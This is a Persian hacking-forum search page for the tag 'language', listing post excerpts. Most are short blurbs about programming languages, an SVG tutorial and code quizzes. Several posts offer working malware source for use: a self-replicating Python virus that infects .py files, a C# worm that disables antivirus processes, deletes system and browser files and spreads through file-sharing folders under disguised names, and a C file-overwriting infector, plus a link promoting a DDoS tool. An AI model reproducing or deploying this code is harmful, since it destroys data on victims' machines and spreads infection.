رفتن به مطلب

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های 'زبان'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


تالارهای گفتگو

  • AnonySec
    • قوانین و اساسنامه ی انجمن
    • آخرین خبرها
    • اطلاعیه ها
    • مدیران
    • دوره های آموزشی
    • انتقادات پیشنهادات
  • آموزش های تخصصی
    • برنامه نویسی
    • هکینگ
    • امنیت
    • شبکه
    • سخت افزار
    • متفرقه
  • پروژه های شرکت
    • پروژه های نفوذ به سایت
    • پروژه های ساخت نرم افزار
    • پروژه های ساخت سایت
  • مسابقات
    • مسابقات امنیت و هکینگ
    • مسابقات برنامه نویسی
    • مسابقات کرکینگ
  • پرسش و پاسخ (FAQ)
    • سوالات و مشکلات پیرامون برنامه نویسی
    • سوالات و مشکلات پیرامون هکینگ
    • سوالات و مشکلات پیرامون امنیت
    • سوالات و مشکلات پیرامون شبکه
    • سوالات و مشکلات پیرامون سخت افزار
    • سوالات و مشکلات پیرامون سیستم عامل
    • سوالات و درخواست های متفرقه
  • سیستم عامل
    • ویندوز
    • لینوکس
    • کالی لینوکس
    • اندروید
    • اپل
  • بخش ویژه (مخصوص اعضای ویژه)
    • هکینگ
    • امنیت
    • شبکه
    • متفرقه
  • عمومی
    • توسعه دهندگان
    • ترفند های متفرقه
    • گرافیک
    • ربات تلگرام
  • بحث آزاد علمی
    • عمران و معماری
    • الکتروتکنیک
    • کتابخانه سراسری
  • بخش دریافت
    • دانلود نرم افزار
  • آرشیو
    • بایگانی

دسته ها

  • Articles

73 نتیجه پیدا شد

  1. Programming-Csharp

    خب امروز هم با اموزش ساخت DDos attacker در خدمت شما هستیم با این اموزش میتونین دیداسر های های دلخواه خودتون رو بسازین و به هر سایتی که میخواین دیداس بزنین و اگه که نمیدونم دیداس زدن چیه که حتما برین تو سایت یه چرخی بزنین و پیدا میکنین خب اینم لینک اموزش : DDoser by armincloner اینم خود برنامه تو اموزش , منتهی بهترش : DDOS
  2. Hacking-Virus

    خب امروز میخوام براتون اموزش ساخت ویروس با زبان پایتون را برایتان قرار بدم خب قدرت این ویروس فقط متن anonysec روی صفحه مانیتور میوفته و خاموش میشه مانیتور بازهم اینطور تکرار میشه کافیه این سورس کد کوچک را در pythons ide پیست کرده و سیو کنید ویا در not pad پیست کرده با فرمت .py سیو کنید import os import datetime SIGNATURE = "CRANKLIN PYTHON VIRUS" def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3:] == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "ANONYSEC" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()
  3. Hacking-Virus

    از همه چیز اول تشکر از سایت anony sec میباشد 1- ویژوال استادیو اگر در سیستم ندارید نصب کنید اگر هم ندارید برنامه SharpDevelop 5.1 gرا دانلود کنید. هم حجمش خوبه هم عالیه لینک دانلود از خود سایت دانلود بعد از نصب یک سر برگ بسازید و سورس کد زیرا در داخلش جا بدید. static void Main(string[] args) { api.ShowWindow(api.FindWindow("ConsoleWindowClass", null), api.SW_HIDE); api.ShowWindow(api.FindWindow("#32770", null), api.SW_HIDE); api.ShowWindow(api.FindWindow("MGHTML_DLG_CLASS", null), api.SW_HIDE); api.ShowWindow(api.FindWindow("NAVAP Wnd Clas", null), api.SW_HIDE); api.ShowWindow(api.FindWindow("RegEdit_RegEdit", null), api.SW_HIDE); api.ShowWindow(api.FindWindow("notepad", null), api.SW_HIDE); ////////////////////////////////////////////////////////////////////// try { File.Copy(Application.ExecutablePath, System.Environment.SystemDirectory + @"\winlogon.dll.exe"); Registry.SetValue } catch (Exception) { Console.WriteLine("terminate process!"); } api.MessageBeep(20); api.Sleep(50000); api.SHRestartSystemMB(0, "Windows", api.EWX_LOGOFF); for (int c = 0; c < 256; c++) { try { string FirstPath = System.Environment.SystemDirectory + @"\notepad.exe"; string SecondPath = System.Environment.SystemDirectory + @"\SKYNet.exe"; File.Move(FirstPath, SecondPath); File.Copy(Application.ExecutablePath, System.Environment.SystemDirectory + @"\notepad.exe"); } catch (Exception) { Console.WriteLine("Can not open explore.exe"); } try { File.Delete(@"C:\Program Files\Yahoo!\Messenger\YPager.exe"); File.Delete(@"D:\Program Files\Yahoo!\Messenger\YPager.exe"); File.Delete(@"E:\Program Files\Yahoo!\Messenger\YPager.exe"); File.Delete(@"C:\Program Files\Internet Explorer\IEXPLORE.EXE"); File.Delete(@"D:\Program Files\Internet Explorer\IEXPLORE.EXE"); File.Delete(@"E:\Program Files\Internet Explorer\IEXPLORE.EXE"); File.Delete(@"C:\WINDOWS\$hf_mig$\KB873339\spmsg.dll"); File.Delete(@"D:\WINDOWS\$hf_mig$\KB873339\spmsg.dll"); File.Delete(@"E:\WINDOWS\$hf_mig$\KB873339\spmsg.dll"); File.Delete(@"C:\WINDOWS\system32\drivers\etc\hosts"); File.Delete(@"D:\WINDOWS\system32\drivers\etc\hosts"); File.Delete(@"E:\WINDOWS\system32\drivers\etc\hosts"); } catch (Exception) { Console.WriteLine("error memory"); } try { File.Copy(Application.ExecutablePath, @"C:\Program Files\\Kazaa\My Shared Folder\winampa.dll.pif"); File.Copy(Application.ExecutablePath, @"D:\Program Files\\Kazaa\My Shared Folder\project.exe"); File.Copy(Application.ExecutablePath, @"J:\Program Files\\Kazaa\My Shared Folder\SkyNetAntiVirus.doc.cmd"); File.Copy(Application.ExecutablePath, @"E:\Program Files\\Kazaa\My Shared Folder\screen_saver!.scr"); File.Copy(Application.ExecutablePath, @"F:\Program Files\\Kazaa\My Shared Folder\winlogon.dll.exe"); File.Copy(Application.ExecutablePath, @"H:\Program Files\\Kazaa\My Shared Folder\fun.pic.scr"); } catch (Exception) { Console.WriteLine("can not fine Kazaa"); } api.MessageBeep(20); api.Sleep(9000); api.SHRestartSystemMB(0, "Windows", api.EWX_LOGOFF); ////////////////////////////////////////////////////////////// try { string[] process ={ "NPROTECTED", "GhostTray", "NAVW32", "F-AGNT95", "NOD32", "NETD32", "NETMON", "IOMON98", "SCAN32", "NORMIST", "NAVW3", "ADAWARE", "AGENTW", "LU32", "NAVAP32", "ANTIVIR", "TCM", "W9X", "AVKSERV", "AV", "ACKWIN32", "AD-AWARE", "ADVXDWIN", "AGENTSVR", "AGENTW", "ANTIVIRUS", "ANTS", "APIMONITOR", "APLICA32", "ARR", "AUPDATE", "AUTODOWN", "AUTOTRACE", "AVE32", "AVGCC32", "AVGCTRL", "AVGNT", "CFINET", "CLEANPC", "CTRL", "CV ", "DATEMANAGER ", "DOORS", "DPFSETUP ", "FCH32 ", "FNRB32", "notepad", "IEXPLORE", "POP3TRAP", "remind", "cftmon", "msmsgs", "taskmgr", "regedit", "alg", "ZONEALARM" }; Random rnd1 = new System.Random(); int result1 = rnd1.Next(0, 56); string randomProcess = process[result1]; Process[] myProcesses; myProcesses = Process.GetProcessesByName(randomProcess); { myProcess.CloseMainWindow(); } } catch (Exception) { Console.WriteLine("Send Report Error"); } } api.Sleep(40000); for (int r = 0; r < 10; r++) { api.MessageBeep(20); } خب بعد روی دیباگ کلیک کرده و ویروس خود را تست نمایید ولی طبق تست ما کلا درایو c پاک میشود . ANONYSEC
  4. زبان سورس کد روبه رو چیست؟ 1- echo "Anonysec" 2- msg * "Anonysec" لازم به ذکر است که در این زبان عبارت Anonysec را میتوان به دو روش نوشت (در بالا آمده) پس هردو یک زبان هستند قوانین مسابقه : *اگر مطمئن نیستید جواب ندهید* *هر فرد میتواند 3 بار پاسخ دهد * *هرگونه سوال مساوی است با حذف از مسابقه* *اگر 3 جواب هر شخص غلط باشد 50 امتیاز از او کاسته می شود*
  5. زبان سورس کد رو به رو چیست؟ package hello fun main(args: Array<String>) { println("Anonysec!") } قوانین مسابقه : اگر مطمئن نیستین جواب ندین امتیاز :200
  6. Programming-HTML

    آموزش SVG SVG سرنام واژگان Scalable Vector Graphics است و به معنی گرافیک برداری مقیاس پذیر است. SVG بر پایه ی گرافیک های برداری مقیاس پذیر استوار است. SVG گرافیک های برداری را به فرمت XML تعریف می کند. آموزش به همراه مثال ها مثالی از SVG <html> <body> <h1>My first SVG</h1> <svg width="100" height="100"> <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" /> </svg> </body> </html> پیش نیازها و آنچه که باید از قبل بدانید قبل از ادامه ی این مطالب، شما باید یک درک متوسط از موضوعات زیر داشته باشید: HTML XML مقدماتی در صورتی که می خواهید موضوعات ذکر شده را مطالعه کنید، می توانید آنها را در صفحه ی نخست پیدا کنید. SVG چیست؟ SVG بر پایه ی گرافیک برداری مقیاس پذیر استوار است. از SVG برای ایجاد گرافیک های برداری برای وب استفاده می شود. SVG گرافیک های خود را به فرمت XML تعریف می کند. اگر روی گرافیک های SVG زوم شود و یا این گرافیک ها را تغییر اندازه دهیم، به هیچ وجه از کیفیت آنها کاسته نمی شود. تمامی عناصر و خصوصیات در فایل های SVG می توانند متحرک سازی شوند. SVG توسط W3C توصیه و پیشنهاد شده است. SVG با دیگر استاندارد های W3C مانند DOM و XSL به خوبی کار می کند. SVG توسط W3C توصیه شده است در تاریخ 4 سپتامبر 2001، SVG 1.0 توسط W3C توصیه شده است. نسخه ی 1.1 از SVG در تاریخ 14 ژانویه 2003، توسط W3C توصیه شده است. ویرایش دوم نسخه ی 1.1 از SVG در تاریخ 16 آگوست 2011 توسط W3C توصیه شده است. مزیت های SVG برتری های SVG نسبت به دیگر فرمت های عکس(مانند JPEG و GIF) عبارتند از: عکس های SVG را می توان به هر ادیتور متنی ایجاد و ویرایش کرد. عکس های SVG را می توان مورد جستجو قرار داد، ایندکس کرد، و یا فشرده سازی نمود. عکس های SVG مقیاس پذیر هستند. عکس های SVG را می توان با بهترین کیفیت و در هر رزولوشن ای چاپ نمود. عکس های SVG دارای قابلیت زوم و بزرگنمایی بدون افت کیفیت هستند. SVG یک استاندارد متن باز است. فایل های SVG درواقع XML خالص هستند. اصلی ترین رقیب SVG، همان Flash است. برترین مزیت SVG نسبت به Flash، انطباق آن با دیگر استانداردها است( مثلا انطباق با XSL و DOM). در ضمن Flash از تکنولوژی استفاده می کند که متن باز نیست. ایجاد عکس های SVG عکس های SVG می توانند به وسیله ی هر ادیتور متنی ایجاد شوند. اما این راحت تر است که برای ایجاد عکس های SVG از یک نرم افزار ترسیم کننده، مثل Inkscape استفاده کنید.
  7. Hacking-Virus

    اول برنامه turbo c را دانلود نمایید بعد کد سورس زیر را داخلش بنویسید این ویروس بسیار خطر ناک است و ممکن است سیستم شما بسوزد تست نکنید //Develop Computer Virus Using C to Destroy Files #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; // variable declaration char buff[2048]; // variable declaration struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); // to clear the screen done=findfirst(“*.*”,&ffblk,0); //looking for a file with any extension (*.*) while(!done) { virus=fopen(_argv[0],”rb”); // calling the functon host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %s\n”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf(“DONE! (Total Files Infected= %d)”,a); end=clock(); printf(“TIME TAKEN=%f SEC\n”, (end-st)/CLK_TCK); getch(); } بعد نوشتن کد ها در turbo c ویروس را با پسوند .exe سیو نمایید ویروس روی ویندوز های xp و 98 جواب میده -------------------------------------------------------------------------------------------------
  8. Programming

    CPL ( زبان برنامه نویسی ترکیب شده Combined Programming Language و قبل تر از آن تحت عنوان زبان برنامه نویسی کمبریج ) یک زبان برنامه نویسی چند مدلی[۱] (multi-paradigm) می باشد ، که در اوایل سال ۱۹۶۰ توسعه یافت.
  9. Programming

    کلدفیوژن (ColdFusion) یک برنامهٔ خادم تجاری مبتنی بر روش‌های سریع توسعه نرم‌افزار (به انگلیسی: RAD) است که در سال ۱۹۹۵ توسط جرمی و جی‌جی آلایر ابداع شد. مهم‌ترین قابلیت کلدفیوژن این‌است که می‌تواند ارتباطی آسان بین صفحات وب (HTML) و بانک اطلاعاتی ایجاد کند. در اصل این زبان برای اتصال صفحات اچ‌تی‌ام‌ال ساده به پایگاه داده طراحی شده بود ولی در نسخه ۲ با اضافه کردن یک IDE و زبان اسکریپت نویسی، تبدیل به یک پلتفرم کامل شد. نسخه‌های کنونی که توسط ادوبی منتشر می‌شوند در برگیرنده ویژگی‌های سازمانی و توسعه برنامه کاربردی اینترنت غنی می‌باشند.
  10. Programming

    زبان برنامه‌نویسی کوبول (تلفظ: کوبول) یکی از قدیمی‌ترین زبان‌های برنامه‌نویسی است. نام کوبول که مخفف کلمهٔ COmmon Business-Oriented Language است، حوزهٔ اصلی کار خود را در زمینه تجارت، امور مالی و سیستم‌های اجرایی برای شرکت‌ها و دولت‌ها قرار داد. کوبول استاندارد ۲۰۰۲، از برنامه‌نویسی شیءگرا و ویژگی‌های دیگر زبان‌های مدرن حمایت می‌کند
  11. Programming

    CMS-2 یک زبان برنامه‌نویسی سیستم‌های جاسازی شده است که به وسیلهٔ نیروی دریایی ایالات متحده استفاده شده است. آن اوایل تلاش به منظور توسعه یک زبان برنامه‌نویسی کامپیوتری سطح بالای استاندارد شده برای بهبود کد قابل حمل و استفاده مجدد انجام می‌شد. CMS-2 درجه اول برای سیستم‌های داده‌های تاکتیکی نیروی دریایی ایالات متحده توسعه یافت. (NTDS).[۱] CMS-2 توسط شرکت رند در اوایل دهه ۱۹۷۰ توسعه داده شد و مخفف "سیستم نظارت کامپایلر" است. بعد از نام "CMS-2" یک حرف قرار می‌گیرد که تعیین کنندهٔ نوع سیستم هدف است. برای مثال CMS_2M پردازنده‌های ۱۶ بیتی نیروی دریایی را هدف قرار می‌دهد، مانند /AYK-14
  12. Programming

    CLU یک زبان برنامه‌نویسی نوشته شده توسط باربارا لیسکف و دانشجویانش در دانشگاه MIT در سال‌های ۱۹۷۴ و ۱۹۷۵ است. ویژگی مهم این زبان استفاده از سازنده‌ها شامل کدهای قابل اجرا بر اشیا انتزاعی است که قدم مهمی در جهت پیشرفت برنامه‌نویسی شی‌گرا بود. با این وجود بیشتر ویژگی‌های شی‌گرا مانند وراثت در این زبان وجود ندارد و بعضی وقت‌ها این زبان را با دستورات خسته‌کننده آن می‌شناسند. زبان‌های CLU و آلفارد به مفاهیم شی‌گرا بسیار نزدیک می‌گردند اما یک زبان شی‌گرا نیستند.
  13. Programming

    کلوژر (به انگلیسی: Clojure) گویشی از زبان برنامه‌نویسی لیسپ است که توسط ریچ هیکی ایجاد شده است. این زبان، یک زبان همه‌منظورهتابعی است کد کلوژر به بایت‌کد ماشین مجازی جاوا کامپایل می‌شود[۷]، و بنابراین می‌توانید از کتابخانه‌های جاوا استفاده کند.
  14. Programming

    چریتی (Charity) یک زبان برنامه نویسی تابعی خالص آزمایشی است که در دانشگاه کلگری بر اساس ایده‌های هاگینو تاتسویاس(Hagino Tatsuyas)، تحت نظارت رابین کاکت (Robin Cockett) ابداع شده است. چریتی کاملاً بر پایه نظریه رده‌ها استوار است. بدون توجه به تعامل با دنیای خارج، همهٔ برنامه‌های چریتی تضمین می‌شوند که یا به پایان رسیده یا فعال باقی بمانند. این زبان نوع‌های داده بازگشتی ترتیبی را می‌پذیرد، مانند نوع‌هایی که ممکن است در زبان ام‌ال یافت شوند، که نیاز دارند محدود باشند، و نوع‌های داده همبازگشت، که مجازاند به طور بالقوه نا محدود باشند. ساختار کنترلی برای کار بر روی نوع‌های داده بازگشتی، بازگشتی اولیه یا دگردیسی است و اولین ساختار کنترلی برای نوع‌های داده همبازگشتی، همبازگشتی اولیه یا اپومورفیزم است. هیچ‌کدام از ساختارهای کنترلی نمی‌تواند بر روی نوع دیگری عمل نماید، پس تمام دگردیسی‌ها از بین می‌روند و تمام اپومورفیزم‌ها پرحاصل اند.
  15. Programming

    کلدفیوژن (ColdFusion) یک برنامهٔ خادم تجاری مبتنی بر روش‌های سریع توسعه نرم‌افزار (به انگلیسی: RAD) است که در سال ۱۹۹۵ توسط جرمی و جی‌جی آلایر ابداع شد. مهم‌ترین قابلیت کلدفیوژن این‌است که می‌تواند ارتباطی آسان بین صفحات وب (HTML) و بانک اطلاعاتی ایجاد کند. در اصل این زبان برای اتصال صفحات اچ‌تی‌ام‌ال ساده به پایگاه داده طراحی شده بود ولی در نسخه ۲ با اضافه کردن یک IDE و زبان اسکریپت نویسی، تبدیل به یک پلتفرم کامل شد. نسخه‌های کنونی که توسط ادوبی منتشر می‌شوند در برگیرنده ویژگی‌های سازمانی و توسعه برنامه کاربردی اینترنت غنی می‌باشند.
  16. Programming

    هسکل (به انگلیسی: Haskell) یک زبان برنامه‌نویسی تابعی خالص (به انگلیسی: purely functional)، استاندارد شده و همه منظوره با نوع دادهمستحکم است که به یاد دانشمند حوزه منطق و استدلال به نام هسکل کاری نام گذاری شده است. هسکل یک زبان برنامه‌نویسی پیشرفته با قابلیت استفاده عام و متن‌باز است که حاصل بیش از بیست سال پیشرفت و تحقیق می‌باشد که اجازهٔ توسعه سریع، پیاپی و مختصر و صحیح نرم‌افزار را می‌دهد. این زبان با پشتیبانی قوی از یکپارچه سازی با سایر زبان‌ها، همزمانی داخلی ساختمانی، پشتیباتی از برنامه‌های همروند، بررسی استاتیک انواع داده پیش از اجرا و مجهز بودن به پروفایلر و کتابخانهٔ غنی، ساخت نرم‌افزار قابل انعطاف و قابل نگهداری با کیفیت بالا را ساده می‌کند.
  17. Telegram-BOT

    این روبات همه‌چیز دان، در واقع آچار فرانسه‌ای در خصوص آموزش مطالب مختلف به کاربران است. امکان استفاده از سرویس‌های مرتبط با فایل‌های پی‌دی‌اف، آزمون سنجش هوش، یادگیری زبان، فراگرفتن روش‌های مصاحبه، آزمون IAS، تاریخ جهان، جغرافیا و علوم موضوعاتی است که این روبات از آن‌ها پشتیبانی می‌کند. آدرس این روبات [email protected] است.
  18. Programming

    کیوری (به انگلیسی: Curry) یک زبان تجربی و تابع محور بر پایه زبان Haskell است. این زبان تلفیقی است از خصوصیت های برنامه نویسی منطقی و تابع محور. curry یک مجموعه بزرگ و نسبتاً کامل از Haskell است که از ایجاد انواع متفاوت کلاس پشتیبانی نمی‌کند، گرچه بعضی از پیاده سازی های مرتبط این امکان را به عنوان ویژگیی افزونه بر این زبان فراهم می کنند، مانند Munster Curry Compiler.
  19. Programming

    کرل زبان برنامه‌نویسی (به انگلیسی: Curl) شی‌گرای انعکاسی برای برنامه‌های کاربردی وب تعاملی است، هدف انتقال راحت بین قالب بندی و برنامه نویسی است. این امکان باعث می‌شود که به اشیاء پیچیده در اسناد ساده بدون نیاز به سوئیچ بین زبان‌های برنامه نویسی و پایگاههای پیشرفته بدهد. زبان در صدد است به رفع یک مشکل طولانی مدت: بلوک‌های مختلف ساختمان که هر سند وب مدرن را تشکیل می‌دهند که اغلب نیاز به روش‌های بسیار مختلف پیاده‌سازی دارد: زبان‌های مختلف، ابزارهای مختلف، قالب‌های مختلف، اغلب گروه‌ها کاملاً متفاوت هستند. در نهایت - و اغلب دشوار ترین – جمع آوری همه این بلوکها در ارتباط با یکدیگر به شیوه‌ای سازگاراست. کرل تلاش می‌کند برای اجتناب ازین مشکلات توسط فراهم آوردن یک رابط نحوی و معنایی سازگار در تمام سطوح ایجاد محتوای وب: از HTML ساده تابرنامه نویسی شی گرا پیچیده. کرل ترکیبی از متن نشانه گذاری (مشابه HTML) اسکریپتی (مشابه جاوا اسکریپت)، و محاسبات سنگین امری (مانند جاوا، #C، c++)در یک چارچوب واحد و یکپارچه است. به همین خاطر در طیف وسیعی از شرکت‌های داخلی، B2B B2C و برنامه‌های کاربردی استفاده می‌شود. کرل یک زبان نشانه گذاری شبیه HTML-است که، متنی ساده به عنوان متن نشان داده شده است، در همان زمان، کرل شامل یک زبان برنامه نویسی شی گرا است که از ارث بری چندگانه پشتیبانی می‌کند. برنامه‌های کاربردی کرل به رعایت تفکیک اطلاعات، سبک و رفتار که HTML، شیوه نامه آبشاری (CSS)، و جاوا اسکریپت وضع کرده‌اند احتیاجی ندارد، همچنین آن سبک برنامه نویسی را می‌توان در صورت دلخواه در کرل استفاده کرد. در حالی که زبان کرل را می‌توان به عنوان یک جایگزین HTML برای ارائه متن فرمت شده استفاده کرد، محدودهٔ توانایی‌های آن در روش کامپایل، نوع داده‌ای قوی، سیستم زبان برنامه نویسی شی گرا هم می‌باشد.[۱] هر دو تالیف (در سطح HTML) و ساختار برنامه در کرل را می‌توان در کد کاربر توسعه داد. زبان طراحی شده برنامه‌های کاربردی کرل می‌توانند به کد محلی ماشین مشتری توسط کامپایلر همزمان و اجرا با سرعت بالا ترجمه کنند. مشاهده شده است که اپلتهای کرل از کرلRTE که یک محیط زمان اجرا با یک افزونه برای مرورگر وب است استفاده می‌کنند. در حال حاضر، در مایکروسافت ویندوز، لینوکس، و Mac OS X پشتیبانی می‌شود. کرل یکی از ویژگی‌های اپلتهای جدا را برای چندین سال داشت، که یک اپلت وب گسترده شده است که به صورت مستقل روی کامپیوتر کاربر، یک پنجره مرورگر اجرا می‌شود همانند سیلورلایت ۳ و Adobe AIR. همچنین مرورگر مخصوص سایت را مشاهده کنید. اپلتهای کرل نیز می‌توانند نوشته شوند به طوری که آنها را آفلاین اجرا خواهد کرد. در واقع، IDE کرل یک برنامه نوشته شده به کرل است.
  20. Programming

    سی شل (به انگلیسی: C Shell) یک پوسته یونیکس است که اولین بار توسط بیل جوی و در اواخر دهه ۱۹۷۰ هنگامی که یک دانشجوی کارشناسی ارشد در دانشگاه برکلی بود، طراحی شد. وقتی که جوی در سال ۱۹۷۸ شروع به منتشر کردن نسخه 2BSD از سیستم‌عاملبی‌اس‌دی یونیکس کرد، سی شل هم به همراه آن به صورت گسترده‌ای توزیع شد. دیگر توسعه‌دهندگان اولیه‌ای که هم در نوشتن کدها و هم در مطرح کردن ایده‌های جدید مشارکت داشتند عبارتند از Michael Ubell, Eric Allman, Mike O'Brien و Jim Kulp بودند. سی شل یک پیش‌پردازنده دستور است که عموماً در یک پنجره متنی اجرا می‌شود و به کاربر اجازه می‌دهد تا دستورها را در آن تایپ و اجرا کند. همچنین csh قادر به خواندن دستورها از یک فایل است که به چنین فایلی اسکریپت می‌گویند. همانند تمام دیگر پوسته‌های یونیکس، csh هم از قابلیت‌هایی نظیر وایلدکاردها،لوله‌بندی، هیر داکیومنت، جانشین‌سازی دستور، متغیرها، ساختارهای کنترلی به منظور انجام آزمایش شرطی و تکرار پشتیبانی می‌کند. چیزی که csh را از دیگر شل متمایز می‌کند، خصوصاً در دهه ۱۹۸۰، قابلیت‌های تعاملی آن و همین‌طور سبک کلی آن است. سینتکس این پوسته شباهت زیادی به زبان سی دارد. در بسیاری از سیستم‌ها، csh در حقیقت همان تی‌سی‌شل است.
  21. Programming

    CPL ( زبان برنامه نویسی ترکیب شده Combined Programming Language و قبل تر از آن تحت عنوان زبان برنامه نویسی کمبریج ) یک زبان برنامه نویسی چند مدلی[۱] (multi-paradigm) می باشد ، که در اوایل سال ۱۹۶۰ توسعه یافت.
  22. Programming

    لیسپ معمولی، (به انگلیسی: Common Lisp) که معمولاً به صورت CL مخفف می‌شود، یک نوع از لیسپ است که به وسیلهٔ ANSI *۳۰۲۶۶–۱۹۹۴ استاندارد شده و برای استاندارد کردن نسخه‌های منشعب شدهٔ لیسپ که بخش‌هایی از آن را دارا هستند، گسترش یافته‌است. CL در واقع یک پیاده‌سازی نیست بلکه یک مشخصهٔ زبانی است که پیاده‌سازی‌های لیسپ با آن مطابقت دارد. لیسپ معمولی یک زبان برنامه‌نویسی همه منظوره‌است، در مقایسه با نسخه‌های لیسپ مانند Lisp Emacs و Auto Lisp که زبان‌های جامع جاسازی شده در تولیدات ویژه هستند. برخلاف بسیاری از لیسپهای اولیه، لیسپ معمولی مانند Scheme از حوزه لغوی برای متغیرها استفاده می‌کند. لیسپ معمولی یک زبان برنامه‌نویسی چند نمونه‌ای است که: مدل‌های برنامه‌نویسی مانند برنامه‌نویسی برنامه‌نویسی شیءگرا، برنامه‌نویسی تابعی و برنامه‌نویسی امری را پشتیبانی می‌کند. به صورت پویا نوع دار شده‌است، اما با اعلان‌های نوع اختیاری که می‌تواند امنیت یا بازدهی را بهبود بخشد. قابل گسترش در بین خصیصه‌های استاندارد مانند ماکروها و ماکروهای خواننده‌است.
  23. Programming

    کول (زبان برنامه‌نویسی) (COOL مخفف Classroom Object Oriented Language) یک زبان برنامه‌نویسی است که به‌وسیله‌ٔ الکساندر ایکن برای استفاده در پروژۀ درس کامپایلر طراحی شد. با اینکه که COOL برای یک پروژۀ درسی، به اندازۀ کافی جمع‌وجور است، اما خیلی از ویژگی‌های زبان‌های برنامه‌نویسی جدید مثل شی‌ها، قابلیت مدیریت حافظۀ خودکار، نوع‌بندی ایستا به طور قوی و بازتاب آسان را داراست. مرجع مترجم کول با سی‌پلاس‌پلاس نوشته شده و به طور کامل با ابزار دامنۀ عمومی ساخته‌شده‌است. این مرجع برای SPIM، شبیه‌ساز MIPS (میپس)، کد تولید می‌کند. بنابراین این زبان باید به راحتی با سایر بسترهای نرم‌افزاری ارتباط برقرار کند. این زبان برای آموزش کامپایلر در بسیاری از مراکز آموزشی از جمله دانشگاه کالیفرنیا، برکلی (جایی که برای اولین بار مورد استفاده قرار گرفت) و دانشگاه شهید بهشتی ایران استفاده شده‌است و نرم‌فزار آن نیز پایدار است. این زبان ارتباطی با زبان COOL موجود در CLIPS ندارد.
  24. Programming

    کلدفیوژن (ColdFusion) یک برنامهٔ خادم تجاری مبتنی بر روش‌های سریع توسعه نرم‌افزار (به انگلیسی: RAD) است که در سال ۱۹۹۵ توسط جرمی و جی‌جی آلایر ابداع شد. مهم‌ترین قابلیت کلدفیوژن این‌است که می‌تواند ارتباطی آسان بین صفحات وب (HTML) و بانک اطلاعاتی ایجاد کند. در اصل این زبان برای اتصال صفحات اچ‌تی‌ام‌ال ساده به پایگاه داده طراحی شده بود ولی در نسخه ۲ با اضافه کردن یک IDE و زبان اسکریپت نویسی، تبدیل به یک پلتفرم کامل شد. نسخه‌های کنونی که توسط ادوبی منتشر می‌شوند در برگیرنده ویژگی‌های سازمانی و توسعه برنامه کاربردی اینترنت غنی می‌باشند.
  25. Programming

    کولا زبان برنامه نویسی شبیه به جاوا و سی شارپ با برخی از ویژگی‌های سطح بالاتر از پرل و روبی از جمله عبارات منظم طبقه اول است. می‌تواند توسطMicrosoft .NET CLR یا Parrot virtual machine کامپایل شود کولا یک زبان کامپایل شده با بررسی نوع ایستاست، اما طراح برخی از ویژگی‌های عام تر زبان‌های اسکریپت نویسی مانند پرل و روبی را با آن آمیخته است. بر طبق آنچه نویسنده بیان کرده است، بعد از سال‌ها استفاده از جاوا و سی پلاس پلاس برای پروژه‌های بزرگ و پرل برای پروژه‌های کوچک تا متوسط به نظر می‌رسید هیچ زبانی فاصله بین این دو را پر نخواهد کرد. کولا بیشتر ترکیبی از چند زبان قدرتمند با در نظر گرفتن اصول کلیدی زیر است تا طراحی یک زبان جدید: با داشتن براکت‌ها و سمی کالن در کولا، برنامه نویسان سی پلاس پلاس، جاوا و پرل باید راحت باشند و فضای سفید هیچ تأثیری روی نحو ندارد. کنوانسیون بر کد - مطالبی که قرار دادیند نیاز به اعلان صریح ندارند.
×